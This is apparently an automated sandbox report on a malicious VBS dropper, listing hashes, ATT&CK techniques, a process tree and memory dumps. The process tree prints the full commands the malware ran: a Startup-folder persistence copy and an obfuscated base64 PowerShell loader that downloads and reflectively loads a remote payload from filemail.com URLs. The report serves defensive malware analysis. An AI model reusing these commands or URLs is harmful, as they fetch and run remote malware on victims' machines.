3f02410281c8e454be1e326c2817f006806d6e5d89948207203b7ee64f940d7f

General

Target

61db47c10daf54a56360bbfa26f2127a31fadfc766220384eff41153d31d23fa.vbs
Size

12KB
MD5

8825e4591cadaec1fb1d0082f84c2398
SHA1

39fca0a522686f7b9b2b9dc5e5874aebcf231159
SHA256

61db47c10daf54a56360bbfa26f2127a31fadfc766220384eff41153d31d23fa
SHA512

d5b9c70136aaef8ca9aa1dfb32225632b69de90310ba4f9dcf35567ed58cfd6da8a6fbede4714a19ff41310af0e04bc54c7c6a95060840918efc5a31893fa2c9
SSDEEP

96:J86ymyaynXnLbv+mfupmtsgOgjAC9LFgtYif8fTFsgH2vX5bUdnL7vcumuZ4Y5Wx:JttRS/GpqDzj1eUhDH2Rb8RX1GHRkfkx

Score

10^/10

discovery execution

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://1017.filemail.com/api/file/get?filekey=2Aa_bWo9Reu45t7BU1kVgsd9pT9pgSSlvStGrnTICfFhmTKj3LC6SQtIcOc_T35w&pk_vid=fd4f614bb209c62c1730945176a0904f

exe.dropper

https://1017.filemail.com/api/file/get?filekey=2Aa_bWo9Reu45t7BU1kVgsd9pT9pgSSlvStGrnTICfFhmTKj3LC6SQtIcOc_T35w&pk_vid=fd4f614bb209c62c1730945176a0904f

Signatures

Blocklisted process makes network request 4 IoCs

Processes:

WScript.exepowershell.exe

flow pid process

3 2660 WScript.exe
4 2660 WScript.exe
8 900 powershell.exe
9 900 powershell.exe
Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs
Using powershell.exe command.
execution

PowerShell
T1059.001

Processes:

powershell.exepowershell.exepowershell.exe

pid process

2828 powershell.exe
2716 powershell.exe
900 powershell.exe

flow	pid	process
3	2660	WScript.exe
4	2660	WScript.exe
8	900	powershell.exe
9	900	powershell.exe

pid	process
2828	powershell.exe
2716	powershell.exe
900	powershell.exe

Drops startup file 2 IoCs

Processes:

WScript.exe

description	ioc	process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\CJJ.vbs	WScript.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\CJJ.vbs	WScript.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs
Adversaries may check for Internet connectivity on compromised systems.
discovery

Internet Connection Discovery
T1016.001

Processes:

cmd.exePING.EXE

pid process

2868 cmd.exe
2980 PING.EXE
Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery
T1018

Processes:

PING.EXE

pid process

2980 PING.EXE

pid	process
2868	cmd.exe
2980	PING.EXE

pid	process
2980	PING.EXE

Script User-Agent 2 IoCs

Uses user-agent string associated with script host/environment.

Processes:

description	flow	ioc
HTTP User-Agent header	3	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	4	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)

Suspicious behavior: EnumeratesProcesses 3 IoCs

Processes:

powershell.exepowershell.exepowershell.exe

pid process

2828 powershell.exe
2716 powershell.exe
900 powershell.exe
Suspicious use of AdjustPrivilegeToken 3 IoCs

Processes:

powershell.exepowershell.exepowershell.exe

description pid process

Token: SeDebugPrivilege 2828 powershell.exe
Token: SeDebugPrivilege 2716 powershell.exe
Token: SeDebugPrivilege 900 powershell.exe

pid	process
2828	powershell.exe
2716	powershell.exe
900	powershell.exe

description	pid	process
Token: SeDebugPrivilege	2828	powershell.exe
Token: SeDebugPrivilege	2716	powershell.exe
Token: SeDebugPrivilege	900	powershell.exe

Suspicious use of WriteProcessMemory 15 IoCs

Processes:

WScript.execmd.exepowershell.exe

description	pid	process	target process
PID 2660 wrote to memory of 2868	2660	WScript.exe	cmd.exe
PID 2660 wrote to memory of 2868	2660	WScript.exe	cmd.exe
PID 2660 wrote to memory of 2868	2660	WScript.exe	cmd.exe
PID 2868 wrote to memory of 2980	2868	cmd.exe	PING.EXE
PID 2868 wrote to memory of 2980	2868	cmd.exe	PING.EXE
PID 2868 wrote to memory of 2980	2868	cmd.exe	PING.EXE
PID 2868 wrote to memory of 2828	2868	cmd.exe	powershell.exe
PID 2868 wrote to memory of 2828	2868	cmd.exe	powershell.exe
PID 2868 wrote to memory of 2828	2868	cmd.exe	powershell.exe
PID 2660 wrote to memory of 2716	2660	WScript.exe	powershell.exe
PID 2660 wrote to memory of 2716	2660	WScript.exe	powershell.exe
PID 2660 wrote to memory of 2716	2660	WScript.exe	powershell.exe
PID 2716 wrote to memory of 900	2716	powershell.exe	powershell.exe
PID 2716 wrote to memory of 900	2716	powershell.exe	powershell.exe
PID 2716 wrote to memory of 900	2716	powershell.exe	powershell.exe

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\61db47c10daf54a56360bbfa26f2127a31fadfc766220384eff41153d31d23fa.vbs"
1⤵
- Blocklisted process makes network request
- Drops startup file
- Suspicious use of WriteProcessMemory
PID:2660
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c ping 127.0.0.1 -n 10 & powershell -command [System.IO.File]::Copy('C:\Users\Admin\AppData\Local\Temp\61db47c10daf54a56360bbfa26f2127a31fadfc766220384eff41153d31d23fa.vbs', 'C:\Users\' + [Environment]::UserName + ''\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ sbv.JJC.vbs')')
  2⤵
  - System Network Configuration Discovery: Internet Connection Discovery
  - Suspicious use of WriteProcessMemory
  PID:2868
- - C:\Windows\system32\PING.EXE
    ping 127.0.0.1 -n 10
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    - Runs ping.exe
    PID:2980
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -command [System.IO.File]::Copy('C:\Users\Admin\AppData\Local\Temp\61db47c10daf54a56360bbfa26f2127a31fadfc766220384eff41153d31d23fa.vbs', 'C:\Users\' + [Environment]::UserName + ''\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ sbv.JJC.vbs')')
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2828
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'JiggJHBTSE9NZVs0XSskcHNIT01FWzMwXSsnWCcpICgoJ1BoUmltYWdlVXJsJysnID0gZlhZaHR0cHM6Ly8xMDE3LmZpbGVtYWlsLmNvbS9hcGkvZicrJ2lsZS9nZXQ/ZicrJ2lsZWtleT0yJysnQWFfYldvOVJldTQ1dDdCVTFrVmdzZDlwVDlwZ1NTbHZTdEdyblRJQ2ZGaG1US2ozTEM2U1F0SWNPY19UMzV3JnBrX3ZpZD1mZDRmNjE0YmIyMDljNjJjMTczMDk0NTE3NmEwOTA0ZiBmWFk7UGhSJysnd2ViQ2xpZW50ID0gTmV3LU9iamVjdCBTeXN0ZW0uTmV0LldlYkNsaWVudDtQaFJpJysnbWFnZUJ5dGVzID0gUGhSd2ViQ2xpZW50LicrJ0Rvd25sb2FkRGF0YShQaFJpbWFnZVVybCk7UGhSaW1hZ2VUZXh0ID0gW1N5Jysnc3RlbS5UZXh0LkVuY28nKydkaW5nXTo6VVRGOC5HZXRTdHJpbmcoUGhSaW1hZ2VCeScrJ3Rlcyk7UGhSc3RhcnQnKydGbGFnID0gZlhZPDxCQVNFNjRfU1RBUlQ+PmZYWTtQaFJlbmRGbGFnID0gZlhZPDwnKydCQVNFNjRfRU5EPj5mWFk7UGhSc3RhcnRJbmQnKydleCA9IFBoUmltYWdlVGV4dC5JJysnbmRlJysneE9mKFBoUnN0YXJ0RmxhZyk7UGhSZW5kSW5kZXggPSBQaFJpbWFnZVRleHQuSW5kZXhPZihQaFJlbmRGbGEnKydnKTtQaFJzdGFydEluZGV4IC1nZSAwIC1hbmQgUGhSZW5kSW5kZXggLWd0IFBoUnN0YXJ0SW5kZXg7UCcrJ2hSc3RhcnRJbmRleCArPSBQaFJzJysndGFydEZsYWcuTGVuZ3RoO1BoUmJhc2U2NExlbmd0aCA9IFBoUmVuZEluZGV4IC0gUGhSc3RhcnRJbmRleDtQaFJiYXNlNjRDb21tYW5kID0gUGhSaW1hZ2VUZXh0LlN1YnN0cmluZyhQaFJzdGFydEluZGV4JysnLCBQaFJiYXNlNjRMZW5ndGgpO1BoUmJhc2U2NFJldmVyc2VkID0gLWpvaW4gKFBoUmJhc2U2NENvbW1hbmQuVG9DaGFyQXJyYXkoKSB1TFQgRm9yRWFjaC1PYmplY3QgeyBQaFInKydfIH0pWy0xLi4tKFBoUmJhc2U2NENvbW1hbmQuTGVuZ3RoKV07UGhSY29tbWFuZEJ5dGVzID0gW1N5c3QnKydlbS5Db252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZyhQaFJiJysnYXNlNjRSZXZlcnNlZCk7UGhSbG9hZGVkQXNzZW1ibHkgPSBbU3lzdGVtLlJlZmxlY3Rpb24uQXNzZW1ibHldOjpMb2FkKFBoUmNvbW1hbmRCeXRlcyk7UGhSdmFpTWV0aG9kID0gW2RubGliLklPJysnLkhvbWVdLkdldE1ldGhvZChmWFlWQUlmWFkpO1BoUnZhaU1ldGhvZC5JbnZva2UoUGhSbnVsbCwgQChmWFl0eHQuNzBvMWp6L2VvbS54b2J0YWMuc2VsaWYvLzpzcHR0aGZYWSwgZlhZZGVzJysnYXRpdmFkb2ZYWSwgZlhZZGVzYXRpdmFkb2ZYWSwgZlgnKydZZGVzYXRpdmFkb2ZYWSwgZlhZSW5zdGFsbFV0aWxmWFksIGZYWWRlc2F0aXZhZG9mWCcrJ1ksIGZYWWRlc2F0aXZhZG9mWFksZlhZZGVzYXRpdmFkb2ZYWSxmWFlkZXNhdGl2YWRvZlhZLGZYWWRlc2F0aXZhZG8nKydmWFksZlhZZGVzYXRpdmFkb2ZYWSxmWFlkZXNhdGl2YWRvZlhZLGZYWTFmWFksZlhZZGVzYXRpdmFkb2ZYWSkpOycpLlJFcGxBQ0UoKFtjaEFSXTEwMitbY2hBUl04OCtbY2hBUl04OSksW3N0UklOZ11bY2hBUl0zOSkuUkVwbEFDRSgoW2NoQVJdMTE3K1tjaEFSXTc2K1tjaEFSXTg0KSwnfCcpLlJFcGxBQ0UoJ1BoUicsJyQnKSAp';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2716
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "&( $pSHOMe[4]+$psHOME[30]+'X') (('PhRimageUrl'+' = fXYhttps://1017.filemail.com/api/f'+'ile/get?f'+'ilekey=2'+'Aa_bWo9Reu45t7BU1kVgsd9pT9pgSSlvStGrnTICfFhmTKj3LC6SQtIcOc_T35w&pk_vid=fd4f614bb209c62c1730945176a0904f fXY;PhR'+'webClient = New-Object System.Net.WebClient;PhRi'+'mageBytes = PhRwebClient.'+'DownloadData(PhRimageUrl);PhRimageText = [Sy'+'stem.Text.Enco'+'ding]::UTF8.GetString(PhRimageBy'+'tes);PhRstart'+'Flag = fXY<<BASE64_START>>fXY;PhRendFlag = fXY<<'+'BASE64_END>>fXY;PhRstartInd'+'ex = PhRimageText.I'+'nde'+'xOf(PhRstartFlag);PhRendIndex = PhRimageText.IndexOf(PhRendFla'+'g);PhRstartIndex -ge 0 -and PhRendIndex -gt PhRstartIndex;P'+'hRstartIndex += PhRs'+'tartFlag.Length;PhRbase64Length = PhRendIndex - PhRstartIndex;PhRbase64Command = PhRimageText.Substring(PhRstartIndex'+', PhRbase64Length);PhRbase64Reversed = -join (PhRbase64Command.ToCharArray() uLT ForEach-Object { PhR'+'_ })[-1..-(PhRbase64Command.Length)];PhRcommandBytes = [Syst'+'em.Convert]::FromBase64String(PhRb'+'ase64Reversed);PhRloadedAssembly = [System.Reflection.Assembly]::Load(PhRcommandBytes);PhRvaiMethod = [dnlib.IO'+'.Home].GetMethod(fXYVAIfXY);PhRvaiMethod.Invoke(PhRnull, @(fXYtxt.70o1jz/eom.xobtac.selif//:sptthfXY, fXYdes'+'ativadofXY, fXYdesativadofXY, fX'+'YdesativadofXY, fXYInstallUtilfXY, fXYdesativadofX'+'Y, fXYdesativadofXY,fXYdesativadofXY,fXYdesativadofXY,fXYdesativado'+'fXY,fXYdesativadofXY,fXYdesativadofXY,fXY1fXY,fXYdesativadofXY));').REplACE(([chAR]102+[chAR]88+[chAR]89),[stRINg][chAR]39).REplACE(([chAR]117+[chAR]76+[chAR]84),'|').REplACE('PhR','$') )"
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:900

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Remote System Discovery

1

T1018

System Information Discovery

1

T1082

System Network Configuration Discovery

1

T1016

Internet Connection Discovery

1

T1016.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
9017ab5addc57d132f73d384333bf1d5

SHA1
683578256375a619542ae3b1efb5bc20bbea8fef

SHA256
61adcd70f0fe6d5aad1541f42bd4c3fe3ae312ca645983abe6a1b0f235cbee2a

SHA512
b11a14645ad42e50b5174f80aedabdd53c871b015a1d2c26612f8bbee4d6f938167b26a47a861f28467ca15778524a5443f7ca9b9d717d8656a37b7d862f6fff

Download Submit
memory/2716-19-0x000000001B2E0000-0x000000001B5C2000-memory.dmp

Filesize
2.9MB

Download
memory/2716-20-0x00000000025F0000-0x00000000025F8000-memory.dmp

Filesize
32KB

Download
memory/2828-5-0x000007FEF610E000-0x000007FEF610F000-memory.dmp

Filesize
4KB

Download
memory/2828-6-0x000000001B300000-0x000000001B5E2000-memory.dmp

Filesize
2.9MB

Download
memory/2828-7-0x0000000001DD0000-0x0000000001DD8000-memory.dmp

Filesize
32KB

Download
memory/2828-8-0x000007FEF5E50000-0x000007FEF67ED000-memory.dmp

Filesize
9.6MB

Download
memory/2828-9-0x000007FEF5E50000-0x000007FEF67ED000-memory.dmp

Filesize
9.6MB

Download
memory/2828-10-0x000007FEF5E50000-0x000007FEF67ED000-memory.dmp

Filesize
9.6MB

Download
memory/2828-11-0x000007FEF5E50000-0x000007FEF67ED000-memory.dmp

Filesize
9.6MB

Download
memory/2828-12-0x000007FEF5E50000-0x000007FEF67ED000-memory.dmp

Filesize
9.6MB

Download
memory/2828-13-0x000007FEF5E50000-0x000007FEF67ED000-memory.dmp

Filesize
9.6MB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads